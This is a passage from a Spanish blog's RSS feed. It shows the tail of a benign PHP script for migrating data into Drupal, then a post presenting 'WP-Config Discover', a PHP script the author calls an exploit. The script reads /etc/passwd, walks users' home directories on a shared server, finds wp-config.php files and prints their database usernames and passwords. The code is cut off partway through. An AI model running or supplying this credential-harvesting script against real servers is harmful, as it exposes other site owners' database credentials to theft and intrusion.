<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_news</span> = sqlExec<span class="br0">&#40;</span><span class="re0">$query</span>, <span class="st0">&quot;print_query&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; getRows<span class="br0">&#40;</span><span class="re0">$_news</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">while</span><span class="br0">&#40;</span><span class="re0">$_news_row</span> = <a href="http://www.php.net/mysql_fetch_array"><span class="kw3">mysql_fetch_array</span></a><span class="br0">&#40;</span><span class="re0">$_news</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// Llamada a API drupal para crear contenido</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$drupal</span>-&gt;<span class="me1">createContent</span><span class="br0">&#40;</span><span class="re0">$_news_row</span>, <span class="st0">&quot;news&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// Fin</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// Comentarios en perfiles</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$table</span> = <span class="st0">&quot;usr_comments&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$query</span> = <span class="st0">&quot;SELECT * FROM usr_coments WHERE responseTo = 0&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_comments</span> = sqlExec<span class="br0">&#40;</span><span class="re0">$query</span>, <span class="st0">&quot;print_query&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; getRows<span class="br0">&#40;</span><span class="re0">$_comments</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">while</span><span class="br0">&#40;</span><span class="re0">$_comments_row</span> = <a href="http://www.php.net/mysql_fetch_array"><span class="kw3">mysql_fetch_array</span></a><span class="br0">&#40;</span><span class="re0">$_comments</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// Llamada a API drupal para insertar comentarios en perfiles</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$drupal</span>-&gt;<span class="me1">insertCommentProfile</span><span class="br0">&#40;</span><span class="re0">$_comments_row</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// FIn</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$stop</span> = <a href="http://www.php.net/time"><span class="kw3">time</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$time</span> = <span class="re0">$stop</span> &#8211; <span class="re0">$start</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;Migration done.<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;+ Summary:<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;|- Users:<span class="es0">\t</span>&quot;</span>.<span class="re0">$drupal</span>-&gt;<span class="me1">counter</span><span class="br0">&#91;</span><span class="st0">&#8216;users&#8217;</span><span class="br0">&#93;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;|- Nodes:<span class="es0">\t</span>&quot;</span>.<span class="re0">$drupal</span>-&gt;<span class="me1">counter</span><span class="br0">&#91;</span><span class="st0">&#8216;news&#8217;</span><span class="br0">&#93;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;|- Comments:<span class="es0">\t</span>&quot;</span>.<span class="re0">$drupal</span>-&gt;<span class="me1">counter</span><span class="br0">&#91;</span><span class="st0">&#8216;comments&#8217;</span><span class="br0">&#93;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;|_ Time:<span class="es0">\t</span>&quot;</span>.<a href="http://www.php.net/date"><span class="kw3">date</span></a><span class="br0">&#40;</span><span class="st0">&quot;s&quot;</span>, <span class="re0">$time</span><span class="br0">&#41;</span>.<span class="st0">&quot; secs.<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">/* sqlExec()</span></div>
</li>
<li class="li2">
<div class="de2"><span class="coMULTI">&nbsp;* Ejecuta y/o imprime una consulta SQL</span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">&nbsp;*/</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> sqlExec<span class="br0">&#40;</span><span class="re0">$query</span>, <span class="re0">$type</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/global"><span class="kw3">global</span></a> <span class="re0">$conexion</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">switch</span><span class="br0">&#40;</span><span class="re0">$type</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">case</span> <span class="st0">&#8216;print&#8217;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;&gt;&gt;[SQL] &quot;</span>.<span class="re0">$query</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">break</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">case</span> <span class="st0">&#8216;query&#8217;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="re0">$query</span>, <span class="re0">$conexion</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">break</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">case</span> <span class="st0">&#8216;print_query&#8217;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;&gt;&gt;[SQL] &quot;</span>.<span class="re0">$query</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="re0">$query</span>, <span class="re0">$conexion</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">break</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">case</span> <span class="st0">&#8216;default&#8217;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;Error en el modo de trabajo.<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">break</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="kw2">NULL</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">/* getRows()</span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">&nbsp;* Imprime la cantidad de resultados obtenidas desde una consulta</span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">&nbsp;*/</span></div>
</li>
<li class="li2">
<div class="de2"><span class="kw2">function</span> getRows<span class="br0">&#40;</span><span class="re0">$resource</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;&lt; &lt; &quot;</span>.<a href="http://www.php.net/mysql_num_rows"><span class="kw3">mysql_num_rows</span></a><span class="br0">&#40;</span><span class="re0">$resource</span><span class="br0">&#41;</span>.<span class="st0">&quot; rows.<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">?&gt;</span></div>
</li>
</ol>
</div>
<p><strong>NOTA</strong> Estos scripts son los <em>originales</em> que he usado para migrar una plataforma, si alguien quiere darle un uso personal debe hacer las modificaciones correspondientes que se adapten a su propio modelo de datos y a sus propias necesidades.</p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fmigracion-exportacion-importacion-datos-drupal%2F&amp;linkname=Migraci%C3%B3n%20de%20datos%20en%20Drupal" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fmigracion-exportacion-importacion-datos-drupal%2F&amp;linkname=Migraci%C3%B3n%20de%20datos%20en%20Drupal" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fmigracion-exportacion-importacion-datos-drupal%2F&amp;linkname=Migraci%C3%B3n%20de%20datos%20en%20Drupal" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fmigracion-exportacion-importacion-datos-drupal%2F&amp;linkname=Migraci%C3%B3n%20de%20datos%20en%20Drupal" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fmigracion-exportacion-importacion-datos-drupal%2F&amp;linkname=Migraci%C3%B3n%20de%20datos%20en%20Drupal" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fmigracion-exportacion-importacion-datos-drupal%2F&amp;linkname=Migraci%C3%B3n%20de%20datos%20en%20Drupal" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fmigracion-exportacion-importacion-datos-drupal%2F&amp;linkname=Migraci%C3%B3n%20de%20datos%20en%20Drupal" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fmigracion-exportacion-importacion-datos-drupal%2F&amp;linkname=Migraci%C3%B3n%20de%20datos%20en%20Drupal">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/linux/documentacion/migracion-exportacion-importacion-datos-drupal/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WP-Config Discover: Héchale un vistazo a todos los WordPress del servidor</title>
		<link>http://blog.zerial.org/seguridad/wp-config-discover/</link>
		<comments>http://blog.zerial.org/seguridad/wp-config-discover/#comments</comments>
		<pubDate>Mon, 10 Aug 2009 03:04:08 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wp]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=716</guid>
		<description><![CDATA[WP-Config Discover es el nombre que le puse a un script/exploit en el que estuve trabajando durante la semana. Este script no se aprovecha de ninguna falla ni vulnerabilidad de wordpress ni de algun servicio en especifico, sino de algo que es completamente normal: Lectura para el usuario www-data sobre el fichero wp-config.php. Como todos [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignright size-full wp-image-720" title="matrixwordpress" src="http://blog.zerial.org/wp-content/uploads/2009/08/matrixwordpress.png" alt="matrixwordpress" width="190" height="190" /><strong>WP-Config Discover</strong> es el nombre que le puse a un script/exploit en el que estuve trabajando durante la semana. Este script no se aprovecha de ninguna falla ni vulnerabilidad de wordpress ni de algun servicio en especifico, sino de algo que es completamente normal: Lectura para el usuario <em>www-data</em> sobre el fichero <em>wp-config.php</em>.</p>
<p>Como todos saben, wordpress al igual que todos los cms, guardan la configuración de la base de datos (usuario, password, host, prefijo de las tablas, etc) en un fichero, el cual debe ser legible por el usuario que está corriendo el servicio http (generalmente apache/www-data).</p>
<p><span id="more-716"></span></p>
<p><strong>Código</strong></p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">&lt; ?php</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$paths</span> = <a href="http://www.php.net/array"><span class="kw3">array</span></a><span class="br0">&#40;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;blog&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;site&quot;</span>,</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <span class="st0">&quot;html&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;www&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;html/blog&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;www/blog&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;site/blog&quot;</span>,</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <span class="st0">&quot;wordpress&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;wp&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;www/wp&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;www/wordpress&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;html/wordpress&quot;</span>,</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <span class="st0">&quot;html/wp&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;public_html&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;public_html/blog&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;public_html/wp&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;public_html/wordpress&quot;</span>,</div>
</li>
<li class="li2">
<div class="de2"><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$files</span> = <a href="http://www.php.net/array"><span class="kw3">array</span></a><span class="br0">&#40;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;wp-config.php&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;Checking for &#8230;.<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="kw1">if</span><span class="br0">&#40;</span>!<a href="http://www.php.net/is_readable"><span class="kw3">is_readable</span></a><span class="br0">&#40;</span><span class="st0">&quot;/etc/passwd&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> &nbsp; &nbsp;<a href="http://www.php.net/die"><span class="kw3">die</span></a><span class="br0">&#40;</span><span class="st0">&quot;err0r: can&#8217;t read /etc/passwd (safe mode?)&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$_f</span> = @<a href="http://www.php.net/file"><span class="kw3">file</span></a><span class="br0">&#40;</span><span class="st0">&quot;/etc/passwd&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">foreach</span><span class="br0">&#40;</span><span class="re0">$_f</span> <span class="kw1">as</span> <span class="re0">$usr</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$usr</span> = <a href="http://www.php.net/explode"><span class="kw3">explode</span></a><span class="br0">&#40;</span><span class="st0">&quot;:&quot;</span>, <span class="re0">$usr</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$uid</span> = <span class="re0">$usr</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <span class="re0">$home</span> = <span class="re0">$usr</span><span class="br0">&#91;</span><span class="nu0">5</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$usr</span> = <span class="re0">$usr</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$uid</span> &gt;= <span class="nu0">1000</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="re0">$usr</span>.<span class="st0">&quot; (uid:&quot;</span>.<span class="re0">$uid</span>.<span class="st0">&quot;): &quot;</span>.<span class="re0">$home</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">foreach</span><span class="br0">&#40;</span><span class="re0">$paths</span> <span class="kw1">as</span> <span class="re0">$path</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/file_exists"><span class="kw3">file_exists</span></a><span class="br0">&#40;</span><span class="re0">$home</span>.<span class="st0">&quot;/&quot;</span>.<span class="re0">$path</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span>Searching in &quot;</span>.<span class="re0">$home</span>.<span class="st0">&quot;/&quot;</span>.<span class="re0">$path</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">foreach</span><span class="br0">&#40;</span><span class="re0">$files</span> <span class="kw1">as</span> <span class="re0">$file</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/file_exists"><span class="kw3">file_exists</span></a><span class="br0">&#40;</span><span class="re0">$home</span>.<span class="st0">&quot;/&quot;</span>.<span class="re0">$path</span>.<span class="st0">&quot;/&quot;</span>.<span class="re0">$file</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span><span class="es0">\t</span>Found: &quot;</span>.<span class="re0">$file</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$__f</span> = @<a href="http://www.php.net/file"><span class="kw3">file</span></a><span class="br0">&#40;</span><span class="re0">$home</span>.<span class="st0">&quot;/&quot;</span>.<span class="re0">$path</span>.<span class="st0">&quot;/&quot;</span>.<span class="re0">$file</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">foreach</span><span class="br0">&#40;</span><span class="re0">$__f</span> <span class="kw1">as</span> <span class="re0">$line</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/stristr"><span class="kw3">stristr</span></a><span class="br0">&#40;</span><span class="re0">$line</span>, <span class="st0">&quot;DB_USER&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/define<span class="es0">\(</span><span class="es0">\&#8217;</span>(.*)<span class="es0">\)</span>;/&#8217;</span>, <span class="re0">$line</span>, <span class="re0">$output</span><span class="br0">&#41;</span>; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span><span class="es0">\t</span><span class="es0">\t</span>&quot;</span>.<a href="http://www.php.net/str_replace"><span class="kw3">str_replace</span></a><span class="br0">&#40;</span><span class="st0">&quot;DB_USER&#8217;, &quot;</span>,<span class="st0">&quot;usr=&gt;&quot;</span>, <span class="re0">$output</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/stristr"><span class="kw3">stristr</span></a><span class="br0">&#40;</span><span class="re0">$line</span>, <span class="st0">&quot;DB_PASSWORD&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/define<span class="es0">\(</span><span class="es0">\&#8217;</span>(.*)<span class="es0">\)</span>;/&#8217;</span>, <span class="re0">$line</span>, <span class="re0">$output2</span><span class="br0">&#41;</span>; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span><span class="es0">\t</span><span class="es0">\t</span>&quot;</span>.<a href="http://www.php.net/str_replace"><span class="kw3">str_replace</span></a><span class="br0">&#40;</span><span class="st0">&quot;DB_PASSWORD&#8217;, &quot;</span>, <span class="st0">&quot;pwd=&gt;&quot;</span>, <span class="re0">$output2</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
